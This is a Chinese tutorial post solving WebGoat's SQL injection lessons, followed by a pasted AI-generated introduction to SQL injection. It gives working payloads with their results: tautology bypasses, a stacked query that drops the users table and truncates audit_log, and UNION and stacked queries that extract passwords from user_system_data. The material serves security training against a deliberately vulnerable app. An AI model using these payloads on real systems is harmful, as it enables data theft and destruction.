WebGoat SQL注入解题思路

本文详细介绍WebGoat平台上的SQL注入练习,包括字符串和数字类型的SQL注入,以及如何从其他表中拉取数据。提供了多种注入技巧,如堆叠查询、注释和联合查询,以获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WebGoat SQL注入解题思路

★ 启动 WebGoat

java -jar webgoat-server-8.0.0.M21.jar

★ 打开 WebGoat 网站

http://127.0.0.1:8080/WebGoat/
注意大小写。

★ 题目1:String SQL Injection

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/6

题目中说,存在注入的SQL语句为:
"select * from users where LAST_NAME = '" + userName + "'";
这是一个字符串类型的SQL注入。

可选的的注入方式有:

  • **方式1:Smith' or '1'='1。**其实可以写任意字符串,而不必是Smith。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith' or '1'='1'

  • **方式2:' or 1=1 --。**干脆不给LAST_NAME设置有效值,并且通过--将SQL语句中的'注释掉。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = '' or 1=1 --'--'是注释,所以SQL语法是没有问题的。

  • **方式3:Smith';drop table users; truncate audit_log;--。**这是堆叠的SQL语句,『堆叠』的英文叫做 『 stacked 』。如果是多条select语句,那么叫做堆叠查询(stacked queries)。
    这一条执行之后,表 users 就被删掉了。并且将 audit_log 表中的数据删掉(而不会触发triggers)。
    拼起来的完整SQL语句为:select * from users where LAST_NAME = 'Smith';drop table users; truncate audit_log;--'

  • **方式4:' or true --。**其实这种方式跟方式2是一样的。true本身也是有效的。但是,这里的true给人的意思是,你可以替换成任意复杂的SQL表达式,只要结果是true就可以了。这样可以增加对SQL注入的成功率。

★ 题目2: Numeric SQL Injection

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/7

存在注入的SQL语句为: "select * from users where USERID = " + userID;
这是一个数字类型的SQL注入。

可选的注入方式有:

  • 方式1: 1 or 1=1。拼起来的完整SQL语句为:select * from users where USERID = 1 or 1=11 or 1=1里第一个数字1可以替换成任意数字。例如1111 or 1=1

  • 方式2:1234 or true。true是有效值。也可以将true替换为其他的SQL语句,只要SQL语句的结果为true就行。

★ 题目3:Pulling data from other tables

地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2

在这里插入图片描述

题目给出一个表的信息:

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

而且题目要求找到Dave的密码。

★ 题目3 解题思路

首先,可以通过 ' or 1=1 --尝试一下。显示出查询到的数据:

You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 
101, Joe, Snow, 987654321, VISA, , 0, 
101, Joe, Snow, 2234200065411, MC, , 0, 
102, John, Smith, 2435600002222, MC, , 0, 
102, John, Smith, 4352209902222, AMEX, , 0, 
103, Jane, Plane, 123456789, MC, , 0, 
103, Jane, Plane, 333498703333, AMEX, , 0, 
10312, Jolly, Hershey, 176896789, MC, , 0, 
10312, Jolly, Hershey, 333300003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0, 
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0, 
15603, Peter, Sand, 123609789, MC, , 0, 
15603, Peter, Sand, 338893453333, AMEX, , 0, 
15613, Joesph, Something, 33843453533, AMEX, , 0, 
15837, Chaos, Monkey, 32849386533, CM, , 0, 
19204, Mr, Goat, 33812953533, VISA, , 0, 

显然,Dave的密码不在这里面。
返回的结果,给出了一些信息,比如列数是7,还有列的名字,以及可能的数据类型。

解法1: 采用堆叠查询的方式。

注入的数据为: '; select * from user_system_data --
得到的数据为:

You have succeed:
USERID, USER_NAME, PASSWORD, COOKIE, 
101, jsnow, passwd1, , 
102, jdoe, passwd2, , 
103, jplane, passwd3, , 
104, jeff, jeff, , 
105, dave, passW0rD, , 

可以看到dave的密码为 passW0rD 。
Congratulations!

♦ 解法2:采用 union 的方式

从上面已经知道,注入 ' or 1=1 --时,返回的数据是7列。而表 user_system_data 只有4列,所以需要将从user_system_data表中查到的数据补齐到7列。

7列数据: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
目前 user_system_data 有4列:userid, user_name, password, cookie,将其补齐到7列,为:
userid, user_name, password, null, null, cookie, null。

注入的数据为:' or 1=1 union select userid,user_name,password,null,null,cookie,null from user_system_data --
得到的数据为:

You have succeed:
USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 
101, Joe, Snow, 2234200065411, MC, , 0, 
101, Joe, Snow, 987654321, VISA, , 0, 
101, jsnow, passwd1, null, null, , null, 
102, John, Smith, 2435600002222, MC, , 0, 
102, John, Smith, 4352209902222, AMEX, , 0, 
102, jdoe, passwd2, null, null, , null, 
103, Jane, Plane, 123456789, MC, , 0, 
103, Jane, Plane, 333498703333, AMEX, , 0, 
103, jplane, passwd3, null, null, , null, 
104, jeff, jeff, null, null, , null, 
105, dave, passW0rD, null, null, , null, 
10312, Jolly, Hershey, 176896789, MC, , 0, 
10312, Jolly, Hershey, 333300003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0, 
10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0, 
15603, Peter, Sand, 123609789, MC, , 0, 
15603, Peter, Sand, 338893453333, AMEX, , 0, 
15613, Joesph, Something, 33843453533, AMEX, , 0, 
15837, Chaos, Monkey, 32849386533, CM, , 0, 
19204, Mr, Goat, 33812953533, VISA, , 0, 

可以看到得到是上面2个表的数据之和(union)。

可以看到dave的密码为 passW0rD 。
Congratulations!

★ 参考

  1. WebGoat采用的数据库为HSQLDB,关于HSQLDB的官方文档: http://hsqldb.org/web/hsqlDocsFrame.html
  2. 关于 Truncate 的语法: http://hsqldb.org/doc/2.0/guide/dataaccess-chapt.html#dac_truncate_statement

相关系列文章:

WebGoat SQL注入之 Order by注入解题思路
WebGoat SQL注入解题思路
WebGoat SQL盲注 解题思路
WebGoat 8.0 XXE注入 解题思路

<think>好的,用户想了解WebGoatSQL注入的入门和简介。首先,我需要回忆一下WebGoat这个平台的相关知识。WebGoat是OWASP开发的一个用于教学Web应用安全的工具,专门设计了一些漏洞场景让用户练习,比如SQL注入、跨站脚本等。用户提到的SQL注入应该是其中一个重要的模块。 接下来,我需要确定用户的需求层次。用户可能刚开始接触Web安全或SQL注入,所以需要基础的概念讲解和操作步骤。可能需要先介绍WebGoat的基本情况,然后具体到SQL注入模块的结构,比如有哪些类型的注入练习,如何访问这些练习,以及基本的解题思路。 然后,结合提供的引用资料。引用[1]提到WebGoat的安装和使用说明,可能需要指导用户如何启动WebGoat并找到SQL注入的章节。引用[3]提到了JWT安全和预编译CASE注入,这可能涉及到进阶的SQL注入防御,比如预编译语句,但用户现在需要的是入门内容,所以暂时可能不需要深入这部分,但可以作为扩展知识提及。 还要考虑用户可能的实际操作问题,比如环境搭建、访问路径、常见的错误等。可能需要给出具体的步骤,例如如何通过浏览器访问WebGoat,找到SQL注入的练习部分,并完成基础的注入示例。此外,用户可能需要了解SQL注入的原理,比如通过构造恶意输入改变SQL查询的逻辑,从而绕过认证或获取数据。 同时,根据用户提供的示例,回答需要结构清晰,分步骤说明,可能还需要代码示例。例如,展示一个简单的SQL注入的输入,如何利用永真条件绕过登录验证。此外,应该提醒用户在实际开发中如何防范SQL注入,比如使用参数化查询,这也是引用[3]中提到的预编译语句的一部分。 还要生成相关问题,可能涉及SQL注入的类型、防御方法、在WebGoat中的其他相关练习等。需要确保问题能够引导用户进一步深入学习。 最后,检查回答是否符合系统级指令:使用正确的中文,数学表达式格式正确(虽然SQL注入可能不涉及数学公式,但如果有的话要使用$...$),引用标识正确添加,代码块使用正确的语法高亮。同时,确保回答真实可靠,参考了提供的引用资料,特别是引用[1]和[3]中的相关内容。</think>### WebGoat SQL注入入门及简介 WebGoat是由OWASP设计的Web应用安全学习平台,其SQL注入模块通过模拟真实漏洞场景帮助理解注入原理及防御方法。以下为关键知识点分步说明: **一、环境准备** 1. 启动WebGoat容器后访问`http://localhost:8080/WebGoat`(默认端口) 2. 登录后选择左侧菜单栏的`A1: Injection` -> `SQL Injection (intro)` **二、基础注入原理** 通过构造特殊输入篡改SQL语句逻辑,例如登录绕过场景: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password' ``` 输入`admin' OR '1'='1`作为用户名,此时语句变为: $$SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- ' AND password = ''$$ `--`注释后续条件实现免密登录[^3] **三、模块训练内容** 1. **字符串注入**:学习基础语句拼接风险 2. **数字型注入**:处理数值参数时的漏洞 3. **防御方法**:预编译语句实践(见`Advanced SQL Injection`章节) ```java String query = "SELECT * FROM users WHERE name = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, userInput); // 自动处理特殊字符 ``` **四、实战技巧** 1. 使用`'`测试输入点是否闭合语句 2. 通过错误消息判断数据库类型 3. 利用UNION查询获取敏感数据(需字段数匹配)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值